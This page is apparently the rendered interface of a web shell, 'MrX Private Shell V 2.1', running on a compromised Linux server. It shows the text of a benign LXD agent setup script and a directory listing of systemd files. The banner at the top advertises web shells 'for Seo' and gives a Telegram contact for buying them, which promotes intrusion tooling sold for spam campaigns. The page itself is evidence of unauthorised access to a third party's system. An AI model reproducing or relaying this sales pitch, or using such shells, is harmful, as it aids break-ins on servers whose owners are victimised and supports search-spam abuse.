__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh
#
# Setup script for lxd-agent that is executed by the lxd-agent systemd unit before lxd-agent is started.
# The script sets up a temporary mount point, copies data from the mount (including lxd-agent binary),
# and then unmounts it. It also ensures appropriate permissions for the LXD agent's runtime directory.
#
set -eu
PREFIX="/run/lxd_agent"
# Functions.
mount_virtiofs() {
mount -t virtiofs config "${PREFIX}/.mnt" -o ro >/dev/null 2>&1
}
mount_9p() {
modprobe 9pnet_virtio >/dev/null 2>&1 || true
mount -t 9p config "${PREFIX}/.mnt" -o ro,access=0,trans=virtio >/dev/null 2>&1
}
fail() {
umount -l "${PREFIX}" >/dev/null 2>&1 || true
rmdir "${PREFIX}" >/dev/null 2>&1 || true
echo "${1}"
exit 1
}
# Setup the mount target.
umount -l "${PREFIX}" >/dev/null 2>&1 || true
mkdir -p "${PREFIX}"
mount -t tmpfs tmpfs "${PREFIX}" -o mode=0700,nodev,nosuid,noatime,size=50M
mkdir -p "${PREFIX}/.mnt"
# Try virtiofs first.
mount_virtiofs || mount_9p || fail "Couldn't mount virtiofs or 9p, failing."
# Copy the data.
cp -Ra --no-preserve=ownership "${PREFIX}/.mnt/"* "${PREFIX}"
# Unmount the temporary mount.
umount "${PREFIX}/.mnt"
rmdir "${PREFIX}/.mnt"
# Attempt to restore SELinux labels.
restorecon -R "${PREFIX}" >/dev/null 2>&1 || true
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| catalog | Folder | 0755 |
|
|
| journald.conf.d | Folder | 0755 |
|
|
| logind.conf.d | Folder | 0755 |
|
|
| network | Folder | 0755 |
|
|
| ntp-units.d | Folder | 0755 |
|
|
| repart | Folder | 0755 |
|
|
| system | Folder | 0755 |
|
|
| system-environment-generators | Folder | 0755 |
|
|
| system-generators | Folder | 0755 |
|
|
| system-preset | Folder | 0755 |
|
|
| system-shutdown | Folder | 0755 |
|
|
| system-sleep | Folder | 0755 |
|
|
| user | Folder | 0755 |
|
|
| user-environment-generators | Folder | 0755 |
|
|
| user-generators | Folder | 0755 |
|
|
| user-preset | Folder | 0755 |
|
|
| lxd-agent-setup | File | 1.26 KB | 0755 |
|
| resolv.conf | File | 710 B | 0644 |
|
| systemd | File | 98.45 KB | 0755 |
|
| systemd-backlight | File | 34.45 KB | 0755 |
|
| systemd-battery-check | File | 18.45 KB | 0755 |
|
| systemd-binfmt | File | 22.45 KB | 0755 |
|
| systemd-boot-check-no-failures | File | 14.45 KB | 0755 |
|
| systemd-bsod | File | 22.45 KB | 0755 |
|
| systemd-cgroups-agent | File | 14.37 KB | 0755 |
|
| systemd-cryptsetup | File | 78.95 KB | 0755 |
|
| systemd-executor | File | 134.56 KB | 0755 |
|
| systemd-fsck | File | 26.38 KB | 0755 |
|
| systemd-fsckd | File | 26.45 KB | 0755 |
|
| systemd-growfs | File | 22.45 KB | 0755 |
|
| systemd-hibernate-resume | File | 22.56 KB | 0755 |
|
| systemd-hostnamed | File | 46.47 KB | 0755 |
|
| systemd-initctl | File | 22.45 KB | 0755 |
|
| systemd-integritysetup | File | 22.52 KB | 0755 |
|
| systemd-journald | File | 189.13 KB | 0755 |
|
| systemd-localed | File | 54.47 KB | 0755 |
|
| systemd-logind | File | 278.58 KB | 0755 |
|
| systemd-makefs | File | 14.37 KB | 0755 |
|
| systemd-measure | File | 46.76 KB | 0755 |
|
| systemd-modules-load | File | 18.56 KB | 0755 |
|
| systemd-network-generator | File | 42.45 KB | 0755 |
|
| systemd-networkd | File | 1.59 MB | 0755 |
|
| systemd-networkd-wait-online | File | 38.61 KB | 0755 |
|
| systemd-pcrextend | File | 26.63 KB | 0755 |
|
| systemd-pcrlock | File | 134.7 KB | 0755 |
|
| systemd-pstore | File | 22.47 KB | 0755 |
|
| systemd-quotacheck | File | 14.45 KB | 0755 |
|
| systemd-random-seed | File | 26.45 KB | 0755 |
|
| systemd-remount-fs | File | 18.45 KB | 0755 |
|
| systemd-reply-password | File | 14.37 KB | 0755 |
|
| systemd-resolved | File | 522.51 KB | 0755 |
|
| systemd-rfkill | File | 22.45 KB | 0755 |
|
| systemd-shutdown | File | 54.45 KB | 0755 |
|
| systemd-sleep | File | 46.45 KB | 0755 |
|
| systemd-socket-proxyd | File | 30.45 KB | 0755 |
|
| systemd-storagetm | File | 50.59 KB | 0755 |
|
| systemd-sulogin-shell | File | 18.37 KB | 0755 |
|
| systemd-sysctl | File | 22.56 KB | 0755 |
|
| systemd-sysroot-fstab-check | File | 54.76 KB | 0755 |
|
| systemd-sysupdate | File | 114.84 KB | 0755 |
|
| systemd-sysv-install | File | 1.33 KB | 0755 |
|
| systemd-time-wait-sync | File | 18.37 KB | 0755 |
|
| systemd-timedated | File | 42.47 KB | 0755 |
|
| systemd-timesyncd | File | 58.29 KB | 0755 |
|
| systemd-tpm2-setup | File | 26.56 KB | 0755 |
|
| systemd-udevd | File | 1.37 MB | 0755 |
|
| systemd-update-done | File | 14.37 KB | 0755 |
|
| systemd-update-utmp | File | 22.45 KB | 0755 |
|
| systemd-user-runtime-dir | File | 22.37 KB | 0755 |
|
| systemd-user-sessions | File | 14.37 KB | 0755 |
|
| systemd-veritysetup | File | 26.66 KB | 0755 |
|
| systemd-volatile-root | File | 22.37 KB | 0755 |
|
| systemd-xdg-autostart-condition | File | 14.37 KB | 0755 |
|